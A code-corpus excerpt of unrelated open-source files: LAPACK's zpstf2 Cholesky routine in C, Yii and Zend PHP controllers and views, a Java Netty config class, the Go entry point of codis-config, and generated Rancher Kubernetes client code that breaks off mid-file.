xerbla_("ZPSTF2", &i__1); return 0; } /* Quick return if possible */ if (*n == 0) { return 0; } /* Initialize PIV */ i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { piv[i__] = i__; } /* Compute stopping value */ i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__ + i__ * a_dim1; work[i__] = a[i__2].r; } pvt = dmaxloc_(&work[1], n); i__1 = pvt + pvt * a_dim1; ajj = a[i__1].r; if (ajj == 0. || disnan_(&ajj)) { *rank = 0; *info = 1; goto L200; } /* Compute stopping value if not supplied */ if (*tol < 0.) { dstop = *n * dlamch_("Epsilon") * ajj; } else { dstop = *tol; } /* Set first half of WORK to zero, holds dot products */ i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { work[i__] = 0.; } if (upper) { /* Compute the Cholesky factorization P' * A * P = U' * U */ i__1 = *n; for (j = 1; j <= i__1; ++j) { /* Find pivot, test for exit, else swap rows and columns */ /* Update dot products, compute possible pivots which are */ /* stored in the second half of WORK */ i__2 = *n; for (i__ = j; i__ <= i__2; ++i__) { if (j > 1) { d_cnjg(&z__2, &a[j - 1 + i__ * a_dim1]); i__3 = j - 1 + i__ * a_dim1; z__1.r = z__2.r * a[i__3].r - z__2.i * a[i__3].i, z__1.i = z__2.r * a[i__3].i + z__2.i * a[i__3].r; work[i__] += z__1.r; } i__3 = i__ + i__ * a_dim1; work[*n + i__] = a[i__3].r - work[i__]; } if (j > 1) { maxlocval = (*n << 1) - (*n + j) + 1; itemp = dmaxloc_(&work[*n + j], &maxlocval); pvt = itemp + j - 1; ajj = work[*n + pvt]; if (ajj <= dstop || disnan_(&ajj)) { i__2 = j + j * a_dim1; a[i__2].r = ajj, a[i__2].i = 0.; goto L190; } } if (j != pvt) { /* Pivot OK, so can now swap pivot rows and columns */ i__2 = pvt + pvt * a_dim1; i__3 = j + j * a_dim1; a[i__2].r = a[i__3].r, a[i__2].i = a[i__3].i; i__2 = j - 1; zswap_(&i__2, &a[j * a_dim1 + 1], &c__1, &a[pvt * a_dim1 + 1], &c__1); if (pvt < *n) { i__2 = *n - pvt; zswap_(&i__2, &a[j + (pvt + 1) * a_dim1], lda, &a[pvt + ( pvt + 1) * a_dim1], lda); } i__2 = pvt - 1; for (i__ = j + 1; i__ <= i__2; ++i__) { d_cnjg(&z__1, &a[j + i__ * a_dim1]); ztemp.r = z__1.r, ztemp.i = z__1.i; i__3 = j + i__ * a_dim1; d_cnjg(&z__1, &a[i__ + pvt * a_dim1]); a[i__3].r = z__1.r, a[i__3].i = z__1.i; i__3 = i__ + pvt * a_dim1; a[i__3].r = ztemp.r, a[i__3].i = ztemp.i; } i__2 = j + pvt * a_dim1; d_cnjg(&z__1, &a[j + pvt * a_dim1]); a[i__2].r = z__1.r, a[i__2].i = z__1.i; /* Swap dot products and PIV */ dtemp = work[j]; work[j] = work[pvt]; work[pvt] = dtemp; itemp = piv[pvt]; piv[pvt] = piv[j]; piv[j] = itemp; } ajj = sqrt(ajj); i__2 = j + j * a_dim1; a[i__2].r = ajj, a[i__2].i = 0.; /* Compute elements J+1:N of row J */ if (j < *n) { i__2 = j - 1; zlacgv_(&i__2, &a[j * a_dim1 + 1], &c__1); i__2 = j - 1; i__3 = *n - j; z__1.r = -1., z__1.i = -0.; zgemv_("Trans", &i__2, &i__3, &z__1, &a[(j + 1) * a_dim1 + 1], lda, &a[j * a_dim1 + 1], &c__1, &c_b1, &a[j + (j + 1) * a_dim1], lda); i__2 = j - 1; zlacgv_(&i__2, &a[j * a_dim1 + 1], &c__1); i__2 = *n - j; d__1 = 1. / ajj; zdscal_(&i__2, &d__1, &a[j + (j + 1) * a_dim1], lda); } } } else { /* Compute the Cholesky factorization P' * A * P = L * L' */ i__1 = *n; for (j = 1; j <= i__1; ++j) { /* Find pivot, test for exit, else swap rows and columns */ /* Update dot products, compute possible pivots which are */ /* stored in the second half of WORK */ i__2 = *n; for (i__ = j; i__ <= i__2; ++i__) { if (j > 1) { d_cnjg(&z__2, &a[i__ + (j - 1) * a_dim1]); i__3 = i__ + (j - 1) * a_dim1; z__1.r = z__2.r * a[i__3].r - z__2.i * a[i__3].i, z__1.i = z__2.r * a[i__3].i + z__2.i * a[i__3].r; work[i__] += z__1.r; } i__3 = i__ + i__ * a_dim1; work[*n + i__] = a[i__3].r - work[i__]; } if (j > 1) { maxlocval = (*n << 1) - (*n + j) + 1; itemp = dmaxloc_(&work[*n + j], &maxlocval); pvt = itemp + j - 1; ajj = work[*n + pvt]; if (ajj <= dstop || disnan_(&ajj)) { i__2 = j + j * a_dim1; a[i__2].r = ajj, a[i__2].i = 0.; goto L190; } } if (j != pvt) { /* Pivot OK, so can now swap pivot rows and columns */ i__2 = pvt + pvt * a_dim1; i__3 = j + j * a_dim1; a[i__2].r = a[i__3].r, a[i__2].i = a[i__3].i; i__2 = j - 1; zswap_(&i__2, &a[j + a_dim1], lda, &a[pvt + a_dim1], lda); if (pvt < *n) { i__2 = *n - pvt; zswap_(&i__2, &a[pvt + 1 + j * a_dim1], &c__1, &a[pvt + 1 + pvt * a_dim1], &c__1); } i__2 = pvt - 1; for (i__ = j + 1; i__ <= i__2; ++i__) { d_cnjg(&z__1, &a[i__ + j * a_dim1]); ztemp.r = z__1.r, ztemp.i = z__1.i; i__3 = i__ + j * a_dim1; d_cnjg(&z__1, &a[pvt + i__ * a_dim1]); a[i__3].r = z__1.r, a[i__3].i = z__1.i; i__3 = pvt + i__ * a_dim1; a[i__3].r = ztemp.r, a[i__3].i = ztemp.i; } i__2 = pvt + j * a_dim1; d_cnjg(&z__1, &a[pvt + j * a_dim1]); a[i__2].r = z__1.r, a[i__2].i = z__1.i; /* Swap dot products and PIV */ dtemp = work[j]; work[j] = work[pvt]; work[pvt] = dtemp; itemp = piv[pvt]; piv[pvt] = piv[j]; piv[j] = itemp; } ajj = sqrt(ajj); i__2 = j + j * a_dim1; a[i__2].r = ajj, a[i__2].i = 0.; /* Compute elements J+1:N of column J */ if (j < *n) { i__2 = j - 1; zlacgv_(&i__2, &a[j + a_dim1], lda); i__2 = *n - j; i__3 = j - 1; z__1.r = -1., z__1.i = -0.; zgemv_("No Trans", &i__2, &i__3, &z__1, &a[j + 1 + a_dim1], lda, &a[j + a_dim1], lda, &c_b1, &a[j + 1 + j * a_dim1], &c__1); i__2 = j - 1; zlacgv_(&i__2, &a[j + a_dim1], lda); i__2 = *n - j; d__1 = 1. / ajj; zdscal_(&i__2, &d__1, &a[j + 1 + j * a_dim1], &c__1); } } } /* Ran to completion, A has full rank */ *rank = *n; goto L200; L190: /* Rank is number of steps completed. Set INFO = 1 to signal */ /* that the factorization cannot be used to solve a system. */ *rank = j - 1; *info = 1; L200: return 0; /* End of ZPSTF2 */ } /* zpstf2_ */
juanjosegarciaripoll/cblapack
src/lapack/zpstf2.c
C
bsd-3-clause
10,765
<?php namespace backend\controllers; use Yii; use yii\web\Controller; use frontend\models\LoginbusinessmanForm; use common\models\ticket\Order; class DefaultController extends Controller { public function actions() { return [ 'error' => [ 'class' => 'yii\web\ErrorAction', ], ]; } public function actionIndex() { if (!Yii::$app->user->isGuest && Yii::$app->user->identity->moder) { return $this->render('index'); } $model = new LoginbusinessmanForm(); if ($model->load(Yii::$app->request->post()) && $model->login()) { $this->redirect('default/index'); } Yii::$app->view->registerMetaTag(['name' => 'robots', 'content' => 'noindex,nofollow']); return $this->render('login', [ 'model' => $model, ]); } public function actionLogout() { Yii::$app->user->logout(); return $this->goHome(); } public function actionSearchfornew() { return $new_orders = Order::find()->where(['Unviewed' => 1])->count(); } }
tatia-kom/gvd.my
backend/controllers/DefaultController.php
PHP
bsd-3-clause
1,131
/* * Copyright (c) 2016, LinkedKeeper * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * - Neither the name of LinkedKeeper nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.linkedkeeper.tcp.connector.tcp.config; import com.linkedkeeper.tcp.connector.tcp.TcpConnector; import com.linkedkeeper.tcp.invoke.ApiProxy; import com.linkedkeeper.tcp.notify.NotifyProxy; import io.netty.handler.codec.protobuf.ProtobufDecoder; public class ServerTransportConfig { // handler private TcpConnector tcpConnector = null; // codec private ProtobufDecoder decoder = null; // invoke private ApiProxy proxy = null; private NotifyProxy notify = null; public ServerTransportConfig(TcpConnector tcpConnector, ApiProxy proxy, NotifyProxy notify) { this.tcpConnector = tcpConnector; this.proxy = proxy; this.notify = notify; } public TcpConnector getTcpConnector() { return tcpConnector; } public ProtobufDecoder getDecoder() { return decoder; } public ApiProxy getProxy() { return proxy; } public NotifyProxy getNotify() { return notify; } }
linkedkeeper/tcp-gateway
src/main/java/com/linkedkeeper/tcp/connector/tcp/config/ServerTransportConfig.java
Java
bsd-3-clause
2,557
<?php /** * LICENSE * * Copyright (c) 2013, Jaime Marcelo Valasek / ZF2 Tutoriais Brasil * http://www.zf2.com.br / http://www.valasek.com.br * All rights reserved. * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * Neither the name of the {organization} nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * @category Payments * @package JVPagSeguro * @author Jaime Marcelo Valasek! <jaime.valasek@gmail.com> * @copyright Copyright (c) 2013-2013 Jaime Marcelo Valasek. * @link http://www.valasek.com.br / http://ww.zf2.com.br */ namespace JVPagSeguro; use Zend\Mvc\ModuleRouteListener; class Module { public function getConfig() { return include __DIR__ . '/config/module.config.php'; } public function getAutoloaderConfig() { return array( 'Zend\Loader\StandardAutoloader' => array( 'namespaces' => array( __NAMESPACE__ => __DIR__ . '/src/' . __NAMESPACE__, ), ), ); } }
jaimevalasek/JVPagSeguro
Module.php
PHP
bsd-3-clause
2,376
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model frontend\models\TraceabilitydataSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="traceabilitydata-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?> <?= $form->field($model, 'id') ?> <?= $form->field($model, 'uid') ?> <?= $form->field($model, 'productid') ?> <?= $form->field($model, 'traceabilityid') ?> <?= $form->field($model, 'query_time') ?> <?php // echo $form->field($model, 'clicks') ?> <?php // echo $form->field($model, 'remark') ?> <?php // echo $form->field($model, 'create_time') ?> <?php // echo $form->field($model, 'status') ?> <div class="form-group"> <?= Html::submitButton(Yii::t('tbhome', 'Search'), ['class' => 'btn btn-primary']) ?> <?= Html::resetButton(Yii::t('tbhome', 'Reset'), ['class' => 'btn btn-default']) ?> </div> <?php ActiveForm::end(); ?> </div>
whq78164/Vcards
frontend/views/traceabilitydata/_search.php
PHP
bsd-3-clause
1,043
// Copyright 2014 Wandoujia Inc. All Rights Reserved. // Licensed under the MIT (MIT-LICENSE.txt) license. package main import ( "flag" "fmt" "net/http" _ "net/http/pprof" "os" "os/signal" "strings" "syscall" "github.com/c4pt0r/cfg" "github.com/docopt/docopt-go" "github.com/wandoulabs/codis/pkg/utils/errors" "github.com/wandoulabs/codis/pkg/utils/log" ) // global objects var ( globalEnv Env livingNode string createdDashboardNode bool ) type Command struct { Run func(cmd *Command, args []string) Usage string Short string Long string Flag flag.FlagSet Ctx interface{} } var usage = `usage: codis-config [-c <config_file>] [-L <log_file>] [--log-level=<loglevel>] <command> [<args>...] options: -c set config file -L set output log file, default is stdout --log-level=<loglevel> set log level: info, warn, error, debug [default: info] commands: server slot dashboard action proxy ` func init() { log.SetLevel(log.LEVEL_INFO) } func setLogLevel(level string) { var lv = log.LEVEL_INFO switch strings.ToLower(level) { case "error": lv = log.LEVEL_ERROR case "warn", "warning": lv = log.LEVEL_WARN case "debug": lv = log.LEVEL_DEBUG case "info": fallthrough default: lv = log.LEVEL_INFO } log.SetLevel(lv) log.Infof("set log level to %s", lv) } func runCommand(cmd string, args []string) (err error) { argv := make([]string, 1) argv[0] = cmd argv = append(argv, args...) switch cmd { case "action": return errors.Trace(cmdAction(argv)) case "dashboard": return errors.Trace(cmdDashboard(argv)) case "server": return errors.Trace(cmdServer(argv)) // proxy 相关操作 case "proxy": return errors.Trace(cmdProxy(argv)) case "slot": return errors.Trace(cmdSlot(argv)) } return errors.Errorf("%s is not a valid command. See 'codis-config -h'", cmd) } func main() { c := make(chan os.Signal, 1) // 可以合为一个函数调用: signal.Notify(c, os.Interrupt, syscall.SIGTERM) signal.Notify(c, os.Interrupt) signal.Notify(c, syscall.SIGTERM) go func() { <-c // 这个全局变量用的.. if createdDashboardNode { releaseDashboardNode() } log.Panicf("ctrl-c or SIGTERM found, exit") }() args, err := docopt.Parse(usage, nil, true, "codis config v0.1", true) if err != nil { fmt.Println(err) os.Exit(1) } // set output log file if s, ok := args["-L"].(string); ok && s != "" { f, err := os.OpenFile(s, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666) if err != nil { log.PanicErrorf(err, "open log file failed: %s", s) } else { defer f.Close() log.StdLog = log.New(f, "") } } log.SetLevel(log.LEVEL_INFO) log.SetFlags(log.Flags() | log.Lshortfile) // set log level if s, ok := args["--log-level"].(string); ok && s != "" { setLogLevel(s) } // set config file var configFile string if args["-c"] != nil { configFile = args["-c"].(string) } else { configFile = "config.ini" } config := cfg.NewCfg(configFile) if err := config.Load(); err != nil { log.PanicErrorf(err, "load config file error") } // load global vars // 解析配置 globalEnv = LoadCodisEnv(config) cmd := args["<command>"].(string) cmdArgs := args["<args>"].([]string) // 这是? go http.ListenAndServe(":10086", nil) err = runCommand(cmd, cmdArgs) if err != nil { log.PanicErrorf(err, "run sub-command failed") } }
kmiku7/codis-annotated
cmd/cconfig/main.go
GO
bsd-3-clause
3,377
package v3 import ( "context" "github.com/rancher/norman/controller" "github.com/rancher/norman/objectclient" "github.com/rancher/norman/resource" "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/labels" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/runtime/schema" "k8s.io/apimachinery/pkg/types" "k8s.io/apimachinery/pkg/watch" "k8s.io/client-go/tools/cache" ) var ( ProjectRoleTemplateBindingGroupVersionKind = schema.GroupVersionKind{ Version: Version, Group: GroupName, Kind: "ProjectRoleTemplateBinding", } ProjectRoleTemplateBindingResource = metav1.APIResource{ Name: "projectroletemplatebindings", SingularName: "projectroletemplatebinding", Namespaced: true, Kind: ProjectRoleTemplateBindingGroupVersionKind.Kind, } ProjectRoleTemplateBindingGroupVersionResource = schema.GroupVersionResource{ Group: GroupName, Version: Version, Resource: "projectroletemplatebindings", } ) func init() { resource.Put(ProjectRoleTemplateBindingGroupVersionResource) } func NewProjectRoleTemplateBinding(namespace, name string, obj ProjectRoleTemplateBinding) *ProjectRoleTemplateBinding { obj.APIVersion, obj.Kind = ProjectRoleTemplateBindingGroupVersionKind.ToAPIVersionAndKind() obj.Name = name obj.Namespace = namespace return &obj } type ProjectRoleTemplateBindingList struct { metav1.TypeMeta `json:",inline"` metav1.ListMeta `json:"metadata,omitempty"` Items []ProjectRoleTemplateBinding `json:"items"` } type ProjectRoleTemplateBindingHandlerFunc func(key string, obj *ProjectRoleTemplateBinding) (runtime.Object, error) type ProjectRoleTemplateBindingChangeHandlerFunc func(obj *ProjectRoleTemplateBinding) (runtime.Object, error) type ProjectRoleTemplateBindingLister interface { List(namespace string, selector labels.Selector) (ret []*ProjectRoleTemplateBinding, err error) Get(namespace, name string) (*ProjectRoleTemplateBinding, error) } type ProjectRoleTemplateBindingController interface { Generic() controller.GenericController Informer() cache.SharedIndexInformer Lister() ProjectRoleTemplateBindingLister AddHandler(ctx context.Context, name string, handler ProjectRoleTemplateBindingHandlerFunc) AddFeatureHandler(ctx context.Context, enabled func() bool, name string, sync ProjectRoleTemplateBindingHandlerFunc) AddClusterScopedHandler(ctx context.Context, name, clusterName string, handler ProjectRoleTemplateBindingHandlerFunc) AddClusterScopedFeatureHandler(ctx context.Context, enabled func() bool, name, clusterName string, handler ProjectRoleTemplateBindingHandlerFunc) Enqueue(namespace, name string) Sync(ctx context.Context) error Start(ctx context.Context, threadiness int) error } type ProjectRoleTemplateBindingInterface interface { ObjectClient() *objectclient.ObjectClient Create(*ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) GetNamespaced(namespace, name string, opts metav1.GetOptions) (*ProjectRoleTemplateBinding, error) Get(name string, opts metav1.GetOptions) (*ProjectRoleTemplateBinding, error) Update(*ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) Delete(name string, options *metav1.DeleteOptions) error DeleteNamespaced(namespace, name string, options *metav1.DeleteOptions) error List(opts metav1.ListOptions) (*ProjectRoleTemplateBindingList, error) Watch(opts metav1.ListOptions) (watch.Interface, error) DeleteCollection(deleteOpts *metav1.DeleteOptions, listOpts metav1.ListOptions) error Controller() ProjectRoleTemplateBindingController AddHandler(ctx context.Context, name string, sync ProjectRoleTemplateBindingHandlerFunc) AddFeatureHandler(ctx context.Context, enabled func() bool, name string, sync ProjectRoleTemplateBindingHandlerFunc) AddLifecycle(ctx context.Context, name string, lifecycle ProjectRoleTemplateBindingLifecycle) AddFeatureLifecycle(ctx context.Context, enabled func() bool, name string, lifecycle ProjectRoleTemplateBindingLifecycle) AddClusterScopedHandler(ctx context.Context, name, clusterName string, sync ProjectRoleTemplateBindingHandlerFunc) AddClusterScopedFeatureHandler(ctx context.Context, enabled func() bool, name, clusterName string, sync ProjectRoleTemplateBindingHandlerFunc) AddClusterScopedLifecycle(ctx context.Context, name, clusterName string, lifecycle ProjectRoleTemplateBindingLifecycle) AddClusterScopedFeatureLifecycle(ctx context.Context, enabled func() bool, name, clusterName string, lifecycle ProjectRoleTemplateBindingLifecycle) } type projectRoleTemplateBindingLister struct { controller *projectRoleTemplateBindingController } func (l *projectRoleTemplateBindingLister) List(namespace string, selector labels.Selector) (ret []*ProjectRoleTemplateBinding, err error) { err = cache.ListAllByNamespace(l.controller.Informer().GetIndexer(), namespace, selector, func(obj interface{}) { ret = append(ret, obj.(*ProjectRoleTemplateBinding)) }) return } func (l *projectRoleTemplateBindingLister) Get(namespace, name string) (*ProjectRoleTemplateBinding, error) { var key string if namespace != "" { key = namespace + "/" + name } else { key = name } obj, exists, err := l.controller.Informer().GetIndexer().GetByKey(key) if err != nil { return nil, err } if !exists { return nil, errors.NewNotFound(schema.GroupResource{ Group: ProjectRoleTemplateBindingGroupVersionKind.Group, Resource: "projectRoleTemplateBinding", }, key) } return obj.(*ProjectRoleTemplateBinding), nil } type projectRoleTemplateBindingController struct { controller.GenericController } func (c *projectRoleTemplateBindingController) Generic() controller.GenericController { return c.GenericController } func (c *projectRoleTemplateBindingController) Lister() ProjectRoleTemplateBindingLister { return &projectRoleTemplateBindingLister{ controller: c, } } func (c *projectRoleTemplateBindingController) AddHandler(ctx context.Context, name string, handler ProjectRoleTemplateBindingHandlerFunc) { c.GenericController.AddHandler(ctx, name, func(key string, obj interface{}) (interface{}, error) { if obj == nil { return handler(key, nil) } else if v, ok := obj.(*ProjectRoleTemplateBinding); ok { return handler(key, v) } else { return nil, nil } }) } func (c *projectRoleTemplateBindingController) AddFeatureHandler(ctx context.Context, enabled func() bool, name string, handler ProjectRoleTemplateBindingHandlerFunc) { c.GenericController.AddHandler(ctx, name, func(key string, obj interface{}) (interface{}, error) { if !enabled() { return nil, nil } else if obj == nil { return handler(key, nil) } else if v, ok := obj.(*ProjectRoleTemplateBinding); ok { return handler(key, v) } else { return nil, nil } }) } func (c *projectRoleTemplateBindingController) AddClusterScopedHandler(ctx context.Context, name, cluster string, handler ProjectRoleTemplateBindingHandlerFunc) { c.GenericController.AddHandler(ctx, name, func(key string, obj interface{}) (interface{}, error) { if obj == nil { return handler(key, nil) } else if v, ok := obj.(*ProjectRoleTemplateBinding); ok && controller.ObjectInCluster(cluster, obj) { return handler(key, v) } else { return nil, nil } }) } func (c *projectRoleTemplateBindingController) AddClusterScopedFeatureHandler(ctx context.Context, enabled func() bool, name, cluster string, handler ProjectRoleTemplateBindingHandlerFunc) { c.GenericController.AddHandler(ctx, name, func(key string, obj interface{}) (interface{}, error) { if !enabled() { return nil, nil } else if obj == nil { return handler(key, nil) } else if v, ok := obj.(*ProjectRoleTemplateBinding); ok && controller.ObjectInCluster(cluster, obj) { return handler(key, v) } else { return nil, nil } }) } type projectRoleTemplateBindingFactory struct { } func (c projectRoleTemplateBindingFactory) Object() runtime.Object { return &ProjectRoleTemplateBinding{} } func (c projectRoleTemplateBindingFactory) List() runtime.Object { return &ProjectRoleTemplateBindingList{} } func (s *projectRoleTemplateBindingClient) Controller() ProjectRoleTemplateBindingController { s.client.Lock() defer s.client.Unlock() c, ok := s.client.projectRoleTemplateBindingControllers[s.ns] if ok { return c } genericController := controller.NewGenericController(ProjectRoleTemplateBindingGroupVersionKind.Kind+"Controller", s.objectClient) c = &projectRoleTemplateBindingController{ GenericController: genericController, } s.client.projectRoleTemplateBindingControllers[s.ns] = c s.client.starters = append(s.client.starters, c) return c } type projectRoleTemplateBindingClient struct { client *Client ns string objectClient *objectclient.ObjectClient controller ProjectRoleTemplateBindingController } func (s *projectRoleTemplateBindingClient) ObjectClient() *objectclient.ObjectClient { return s.objectClient } func (s *projectRoleTemplateBindingClient) Create(o *ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) { obj, err := s.objectClient.Create(o) return obj.(*ProjectRoleTemplateBinding), err } func (s *projectRoleTemplateBindingClient) Get(name string, opts metav1.GetOptions) (*ProjectRoleTemplateBinding, error) { obj, err := s.objectClient.Get(name, opts) return obj.(*ProjectRoleTemplateBinding), err } func (s *projectRoleTemplateBindingClient) GetNamespaced(namespace, name string, opts metav1.GetOptions) (*ProjectRoleTemplateBinding, error) { obj, err := s.objectClient.GetNamespaced(namespace, name, opts) return obj.(*ProjectRoleTemplateBinding), err } func (s *projectRoleTemplateBindingClient) Update(o *ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) { obj, err := s.objectClient.Update(o.Name, o) return obj.(*ProjectRoleTemplateBinding), err } func (s *projectRoleTemplateBindingClient) Delete(name string, options *metav1.DeleteOptions) error { return s.objectClient.Delete(name, options) } func (s *projectRoleTemplateBindingClient) DeleteNamespaced(namespace, name string, options *metav1.DeleteOptions) error { return s.objectClient.DeleteNamespaced(namespace, name, options) } func (s *projectRoleTemplateBindingClient) List(opts metav1.ListOptions) (*ProjectRoleTemplateBindingList, error) { obj, err := s.objectClient.List(opts) return obj.(*ProjectRoleTemplateBindingList), err } func (s *projectRoleTemplateBindingClient) Watch(opts metav1.ListOptions) (watch.Interface, error) { return s.objectClient.Watch(opts) } // Patch applies the patch and returns the patched deployment. func (s *projectRoleTemplateBindingClient) Patch(o *ProjectRoleTemplateBinding, patchType types.PatchType, data []byte, subresources ...string) (*ProjectRoleTemplateBinding, error) { obj, err := s.objectClient.Patch(o.Name, o, patchType, data, subresources...) return obj.(*ProjectRoleTemplateBinding), err } func (s *projectRoleTemplateBindingClient) DeleteCollection(deleteOpts *metav1.DeleteOptions, listOpts metav1.ListOptions) error { return s.objectClient.DeleteCollection(deleteOpts, listOpts) } func (s *projectRoleTemplateBindingClient) AddHandler(ctx context.Context, name string, sync ProjectRoleTemplateBindingHandlerFunc) { s.Controller().AddHandler(ctx, name, sync) } func (s *projectRoleTemplateBindingClient) AddFeatureHandler(ctx context.Context, enabled func() bool, name string, sync ProjectRoleTemplateBindingHandlerFunc) { s.Controller().AddFeatureHandler(ctx, enabled, name, sync) } func (s *projectRoleTemplateBindingClient) AddLifecycle(ctx context.Context, name string, lifecycle ProjectRoleTemplateBindingLifecycle) { sync := NewProjectRoleTemplateBindingLifecycleAdapter(name, false, s, lifecycle) s.Controller().AddHandler(ctx, name, sync) } func (s *projectRoleTemplateBindingClient) AddFeatureLifecycle(ctx context.Context, enabled func() bool, name string, lifecycle ProjectRoleTemplateBindingLifecycle) { sync := NewProjectRoleTemplateBindingLifecycleAdapter(name, false, s, lifecycle) s.Controller().AddFeatureHandler(ctx, enabled, name, sync) } func (s *projectRoleTemplateBindingClient) AddClusterScopedHandler(ctx context.Context, name, clusterName string, sync ProjectRoleTemplateBindingHandlerFunc) { s.Controller().AddClusterScopedHandler(ctx, name, clusterName, sync) } func (s *projectRoleTemplateBindingClient) AddClusterScopedFeatureHandler(ctx context.Context, enabled func() bool, name, clusterName string, sync ProjectRoleTemplateBindingHandlerFunc) { s.Controller().AddClusterScopedFeatureHandler(ctx, enabled, name, clusterName, sync) } func (s *projectRoleTemplateBindingClient) AddClusterScopedLifecycle(ctx context.Context, name, clusterName string, lifecycle ProjectRoleTemplateBindingLifecycle) { sync := NewProjectRoleTemplateBindingLifecycleAdapter(name+"_"+clusterName, true, s, lifecycle) s.Controller().AddClusterScopedHandler(ctx, name, clusterName, sync) } func (s *projectRoleTemplateBindingClient) AddClusterScopedFeatureLifecycle(ctx context.Context, enabled func() bool, name, clusterName string, lifecycle ProjectRoleTemplateBindingLifecycle) { sync := NewProjectRoleTemplateBindingLifecycleAdapter(name+"_"+clusterName, true, s, lifecycle) s.Controller().AddClusterScopedFeatureHandler(ctx, enabled, name, clusterName, sync) } type ProjectRoleTemplateBindingIndexer func(obj *ProjectRoleTemplateBinding) ([]string, error) type ProjectRoleTemplateBindingClientCache interface { Get(namespace, name string) (*ProjectRoleTemplateBinding, error) List(namespace string, selector labels.Selector) ([]*ProjectRoleTemplateBinding, error) Index(name string, indexer ProjectRoleTemplateBindingIndexer) GetIndexed(name, key string) ([]*ProjectRoleTemplateBinding, error) } type ProjectRoleTemplateBindingClient interface { Create(*ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) Get(namespace, name string, opts metav1.GetOptions) (*ProjectRoleTemplateBinding, error) Update(*ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) Delete(namespace, name string, options *metav1.DeleteOptions) error List(namespace string, opts metav1.ListOptions) (*ProjectRoleTemplateBindingList, error) Watch(opts metav1.ListOptions) (watch.Interface, error) Cache() ProjectRoleTemplateBindingClientCache OnCreate(ctx context.Context, name string, sync ProjectRoleTemplateBindingChangeHandlerFunc) OnChange(ctx context.Context, name string, sync ProjectRoleTemplateBindingChangeHandlerFunc) OnRemove(ctx context.Context, name string, sync ProjectRoleTemplateBindingChangeHandlerFunc) Enqueue(namespace, name string) Generic() controller.GenericController ObjectClient() *objectclient.ObjectClient Interface() ProjectRoleTemplateBindingInterface } type projectRoleTemplateBindingClientCache struct { client *projectRoleTemplateBindingClient2 } type projectRoleTemplateBindingClient2 struct { iface ProjectRoleTemplateBindingInterface controller ProjectRoleTemplateBindingController } func (n *projectRoleTemplateBindingClient2) Interface() ProjectRoleTemplateBindingInterface { return n.iface } func (n *projectRoleTemplateBindingClient2) Generic() controller.GenericController { return n.iface.Controller().Generic() } func (n *projectRoleTemplateBindingClient2) ObjectClient() *objectclient.ObjectClient { return n.Interface().ObjectClient() } func (n *projectRoleTemplateBindingClient2) Enqueue(namespace, name string) { n.iface.Controller().Enqueue(namespace, name) } func (n *projectRoleTemplateBindingClient2) Create(obj *ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) { return n.iface.Create(obj) } func 